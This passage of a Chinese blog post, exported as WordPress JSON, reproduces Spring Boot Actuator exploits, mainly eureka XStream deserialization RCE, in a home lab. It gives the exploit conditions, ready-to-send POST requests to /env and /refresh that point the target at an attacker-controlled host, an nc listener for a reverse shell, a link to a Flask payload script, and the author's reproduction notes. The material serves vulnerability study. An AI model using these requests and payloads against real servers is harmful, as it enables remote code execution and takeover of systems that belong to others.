href=\"https:\/\/raw.githubusercontent.com\/LandGrey\/SpringBootVulExploit\/master\/codebase\/springboot-xstream-rce.py\">python \u811a\u672c\u793a\u4f8b<\/a>\uff0c\u4f5c\u7528\u662f\u5229\u7528\u76ee\u6807 Linux \u673a\u5668\u4e0a\u81ea\u5e26\u7684 python \u6765\u53cd\u5f39shell\u3002<\/p>\n\n\n\n<p>\u4f7f\u7528 python \u5728\u81ea\u5df1\u63a7\u5236\u7684\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\u4ee5\u4e0a\u7684\u811a\u672c\uff0c\u5e76\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u4fee\u6539\u811a\u672c\u4e2d\u53cd\u5f39 shell \u7684 ip \u5730\u5740\u548c \u7aef\u53e3\u53f7\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3\"><\/a>\u6b65\u9aa4\u4e8c\uff1a\u76d1\u542c\u53cd\u5f39 shell \u7684\u7aef\u53e3<\/h5>\n\n\n\n<p>\u4e00\u822c\u4f7f\u7528 nc \u76d1\u542c\u7aef\u53e3\uff0c\u7b49\u5f85\u53cd\u5f39 shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvp 443<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-eurekaclientserviceurldefaultzone-%E5%B1%9E%E6%80%A7\"><\/a>\u6b65\u9aa4\u4e09\uff1a\u8bbe\u7f6e eureka.client.serviceUrl.defaultZone \u5c5e\u6027<\/h5>\n\n\n\n<p>spring 1.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/env\nContent-Type: application\/x-www-form-urlencoded\n\neureka.client.serviceUrl.defaultZone=http:\/\/your-vps-ip\/example\n<\/code><\/pre>\n\n\n\n<p>spring 2.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/actuator\/env\nContent-Type: application\/json\n\n{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http:\/\/your-vps-ip\/example\"}\n<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE\"><\/a>\u6b65\u9aa4\u56db\uff1a\u5237\u65b0\u914d\u7f6e<\/h5>\n\n\n\n<p>spring 1.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/refresh\nContent-Type: application\/x-www-form-urlencoded\n\n<\/code><\/pre>\n\n\n\n<p>spring 2.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/actuator\/refresh\nContent-Type: application\/json\n\n<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-2\"><\/a>\u6f0f\u6d1e\u539f\u7406\uff1a<\/h4>\n\n\n\n<ol class=\"wp-block-list\"><li>eureka.client.serviceUrl.defaultZone \u5c5e\u6027\u88ab\u8bbe\u7f6e\u4e3a\u6076\u610f\u7684\u5916\u90e8 eureka server URL \u5730\u5740<\/li><li>refresh \u89e6\u53d1\u76ee\u6807\u673a\u5668\u8bf7\u6c42\u8fdc\u7a0b URL\uff0c\u63d0\u524d\u67b6\u8bbe\u7684 fake eureka server \u5c31\u4f1a\u8fd4\u56de\u6076\u610f\u7684 payload<\/li><li>\u76ee\u6807\u673a\u5668\u76f8\u5173\u4f9d\u8d56\u89e3\u6790 payload\uff0c\u89e6\u53d1 XStream \u53cd\u5e8f\u5217\u5316\uff0c\u9020\u6210 RCE \u6f0f\u6d1e<\/li><\/ol>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-2\"><\/a>\u6f0f\u6d1e\u5206\u6790\uff1a<\/h4>\n\n\n\n<p>\u200b&nbsp;<a href=\"https:\/\/www.freebuf.com\/column\/234719.html\">Spring Boot Actuator\u4ece\u672a\u6388\u6743\u8bbf\u95ee\u5230getshell<\/a><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-2\"><\/a>\u6f0f\u6d1e\u73af\u5883\uff1a<\/h4>\n\n\n\n<p><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit\/tree\/master\/repository\/springboot-eureka-xstream-rce\">repository\/springboot-eureka-xstream-rce<\/a><\/p>\n\n\n\n<p>\u6b63\u5e38\u8bbf\u95ee\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;127.0.0.1:9093\/env<\/code><\/pre>\n<\/div>\n<\/div>\n\n\n\n<p>\u5206\u6790\u590d\u73b0\u8fc7\u7a0b\uff0c\u6a21\u62df\u4e86\u4e09\u4e2a\u90e8\u5206\uff0c\u5ba2\u6237\u7aef\uff08\u653b\u51fb\u8005\uff09\uff0c\u670d\u52a1\u56681\uff08\u88ab\u653b\u51fb\uff09\uff0c\u670d\u52a1\u56682\uff08\u88ab\u653b\u51fb\u8005\u63a7\u5236\u7684\uff09\uff0c\u5ba2\u6237\u7aef\u901a\u8fc7\u4fee\u6539\u670d\u52a1\u5668\u67d0\u4e2a\u5bf9\u8c61\u7684\u503c\uff08\u4f7f\u5176\u8bbf\u95ee\u670d\u52a1\u56682\uff09\uff0c\u63d0\u524d\u5728\u670d\u52a1\u56682\u90e8\u7f72\u6587\u4ef6\uff0c\u5229\u7528\u6587\u4ef6\u518d\u53bb\u8c03\u7528\u6267\u884c\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u590d\u73b0\u73af\u5883:kali 2020 \uff0cwin10<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"692\" height=\"378\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-413\"  sizes=\"auto, (max-width: 692px) 100vw, 692px\" \/><\/div><\/figure>\n\n\n\n<p>\u5728kali\u4e0a\u5f00\u653e\u4e00\u4e2a\u7aef\u53e3\uff0c\u6a21\u62df\u670d\u52a1\u56682\uff08\u53d7\u63a7\u670d\u52a1\u5668\uff09\uff0c\u90e8\u7f72example.yml\uff08\u7528\u4e8e\u88ab\u53d7\u653b\u51fb\u670d\u52a1\u5668\u8bbf\u95ee\uff0c\u8c03\u7528.jar\u6587\u4ef6\u6267\u884c\u4ee3\u7801\uff09, yaml-payload.jar\uff08\u6267\u884c\u4ee3\u7801\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"692\" height=\"357\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-415\"  sizes=\"auto, (max-width: 692px) 100vw, 692px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e3a\u4e86\u4ecewin10\u8bbf\u95ee\uff0c\u6211\u5c06application.properties\u4e2d\u7684server.address\u4fee\u6539\u6210\u4e86\u865a\u62df\u673a\u5730\u5740\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/\u56fe\u72473-1024x641.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"641\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/\u56fe\u72473-1024x641.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-419\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><figcaption>\u6d82\u4e00\u4e0b\u907f\u514d\u8bef\u5bfc<\/figcaption><\/figure>\n\n\n\n<p>\u8fd9\u4e2aPOST \/env \u540e\u7684\u7ed3\u679c\uff0cspring.cloud.bootstrap.location\u7684\u503c\u6307\u5411\u4e86\u670d\u52a1\u56682\uff08\u53d7\u63a7\u670d\u52a1\u5668\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"691\" height=\"441\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-420\"  sizes=\"auto, (max-width: 691px) 100vw, 691px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u5df2\u7ecf\u6267\u884c\u4e86\u547d\u4ee4\uff08curl http:\/\/vm-ip:port\/abc\uff09\u8bbf\u95ee\u4e86\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u4e1c\u897f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"692\" height=\"378\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-421\"  sizes=\"auto, (max-width: 692px) 100vw, 692px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">0x03\uff1aeureka xstream deserialization RCE<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6\"><\/a>\u5229\u7528\u6761\u4ef6\uff1a<\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684&nbsp;<code>\/env<\/code>&nbsp;\u63a5\u53e3\u8bbe\u7f6e\u5c5e\u6027<\/li><li>\u53ef\u4ee5 POST \u8bf7\u6c42\u76ee\u6807\u7f51\u7ad9\u7684&nbsp;<code>\/refresh<\/code>&nbsp;\u63a5\u53e3\u5237\u65b0\u914d\u7f6e\uff08\u5b58\u5728&nbsp;<code>spring-boot-starter-actuator<\/code>&nbsp;\u4f9d\u8d56\uff09<\/li><li>\u76ee\u6807\u4f7f\u7528\u7684&nbsp;<code>eureka-client<\/code>&nbsp;&lt; 1.8.7\uff08\u901a\u5e38\u5305\u542b\u5728&nbsp;<code>spring-cloud-starter-netflix-eureka-client<\/code>&nbsp;\u4f9d\u8d56\u4e2d\uff09<\/li><li>\u76ee\u6807\u53ef\u4ee5\u8bf7\u6c42\u653b\u51fb\u8005\u7684 HTTP \u670d\u52a1\u5668\uff08\u8bf7\u6c42\u53ef\u51fa\u5916\u7f51\uff09<\/li><\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6\"><\/a>\u5229\u7528\u65b9\u6cd5\uff1a<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9E%B6%E8%AE%BE%E5%93%8D%E5%BA%94%E6%81%B6%E6%84%8F-xstream-payload-%E7%9A%84%E7%BD%91%E7%AB%99\"><\/a>\u6b65\u9aa4\u4e00\uff1a\u67b6\u8bbe\u54cd\u5e94\u6076\u610f XStream payload \u7684\u7f51\u7ad9<\/h5>\n\n\n\n<p>\u63d0\u4f9b\u4e00\u4e2a\u4f9d\u8d56 Flask \u5e76\u7b26\u5408\u8981\u6c42\u7684&nbsp;<a href=\"https:\/\/raw.githubusercontent.com\/LandGrey\/SpringBootVulExploit\/master\/codebase\/springboot-xstream-rce.py\">python \u811a\u672c\u793a\u4f8b<\/a>\uff0c\u4f5c\u7528\u662f\u5229\u7528\u76ee\u6807 Linux \u673a\u5668\u4e0a\u81ea\u5e26\u7684 python \u6765\u53cd\u5f39shell\u3002<\/p>\n\n\n\n<p>\u4f7f\u7528 python \u5728\u81ea\u5df1\u63a7\u5236\u7684\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\u4ee5\u4e0a\u7684\u811a\u672c\uff0c\u5e76\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u4fee\u6539\u811a\u672c\u4e2d\u53cd\u5f39 shell \u7684 ip \u5730\u5740\u548c \u7aef\u53e3\u53f7\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3\"><\/a>\u6b65\u9aa4\u4e8c\uff1a\u76d1\u542c\u53cd\u5f39 shell \u7684\u7aef\u53e3<\/h5>\n\n\n\n<p>\u4e00\u822c\u4f7f\u7528 nc \u76d1\u542c\u7aef\u53e3\uff0c\u7b49\u5f85\u53cd\u5f39 shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvp 443<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-eurekaclientserviceurldefaultzone-%E5%B1%9E%E6%80%A7\"><\/a>\u6b65\u9aa4\u4e09\uff1a\u8bbe\u7f6e eureka.client.serviceUrl.defaultZone \u5c5e\u6027<\/h5>\n\n\n\n<p>spring 1.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/env\nContent-Type: application\/x-www-form-urlencoded\n\neureka.client.serviceUrl.defaultZone=http:\/\/your-vps-ip\/example\n<\/code><\/pre>\n\n\n\n<p>spring 2.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/actuator\/env\nContent-Type: application\/json\n\n{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http:\/\/your-vps-ip\/example\"}\n<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE\"><\/a>\u6b65\u9aa4\u56db\uff1a\u5237\u65b0\u914d\u7f6e<\/h5>\n\n\n\n<p>spring 1.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/refresh\nContent-Type: application\/x-www-form-urlencoded #\u5b9e\u9645\u6d4b\u8bd5\u4e2d \u6211\u6253\u8fd9\u4e2a\u4ee3\u7801\u53cd\u800c\u4e0d\u884c\u5220\u4e86\u624d\u7ba1\u7528\u3002\u3002\n\n<\/code><\/pre>\n\n\n\n<p>spring 2.x<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/actuator\/refresh\nContent-Type: application\/json\n\n<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-2\"><\/a>\u6f0f\u6d1e\u539f\u7406\uff1a<\/h4>\n\n\n\n<ol class=\"wp-block-list\"><li>eureka.client.serviceUrl.defaultZone \u5c5e\u6027\u88ab\u8bbe\u7f6e\u4e3a\u6076\u610f\u7684\u5916\u90e8 eureka server URL \u5730\u5740<\/li><li>refresh \u89e6\u53d1\u76ee\u6807\u673a\u5668\u8bf7\u6c42\u8fdc\u7a0b URL\uff0c\u63d0\u524d\u67b6\u8bbe\u7684 fake eureka server \u5c31\u4f1a\u8fd4\u56de\u6076\u610f\u7684 payload<\/li><li>\u76ee\u6807\u673a\u5668\u76f8\u5173\u4f9d\u8d56\u89e3\u6790 payload\uff0c\u89e6\u53d1 XStream \u53cd\u5e8f\u5217\u5316\uff0c\u9020\u6210 RCE \u6f0f\u6d1e<\/li><\/ol>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-2\"><\/a>\u6f0f\u6d1e\u5206\u6790\uff1a<\/h4>\n\n\n\n<p>\u200b&nbsp;<a href=\"https:\/\/www.freebuf.com\/column\/234719.html\">Spring Boot Actuator\u4ece\u672a\u6388\u6743\u8bbf\u95ee\u5230getshell<\/a><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-2\"><\/a>\u6f0f\u6d1e\u73af\u5883\uff1a<\/h4>\n\n\n\n<p><a href=\"https:\/\/github.com\/LandGrey\/SpringBootVulExploit\/tree\/master\/repository\/springboot-eureka-xstream-rce\">repository\/springboot-eureka-xstream-rce<\/a><\/p>\n\n\n\n<p>\u6b63\u5e38\u8bbf\u95ee\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;127.0.0.1:9093\/env<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-11-1024x551.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"551\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-11-1024x551.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-425\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><figcaption>\u76d1\u542c443<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-12-1024x551.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"551\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-12-1024x551.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-426\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><figcaption>\u8fd0\u884cpy\u4ee3\u7801<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/\u56fe\u72476.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"688\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/\u56fe\u72476.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-428\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><figcaption>\u6d82\u9ed1\u7684\u662f\u81ea\u5df1\u7684\u865a\u62df\u673aip<\/figcaption><\/figure>\n\n\n\n<p>POST\u4e24\u4e2a\u6570\u636e\u5305\u540e\uff08\u4fee\u6539\u914d\u7f6e\u3001\u5237\u65b0\u914d\u7f6e\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-14-1024x551.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"551\" data-original=\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/11\/image-14-1024x551.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-429\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>0x01 spring boot Spring boot \u662f\u4e00\u4e2a\u6846\u67b6\u3002\u5728spring \u548cspring MVC  [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-396","post","type-post","status-publish","format-standard","hentry","category-loudongfuxian"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/comments?post=396"}],"version-history":[{"count":7,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/396\/revisions"}],"predecessor-version":[{"id":430,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/396\/revisions\/430"}],"wp:attachment":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/media?parent=396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/categories?post=396"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/tags?post=396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}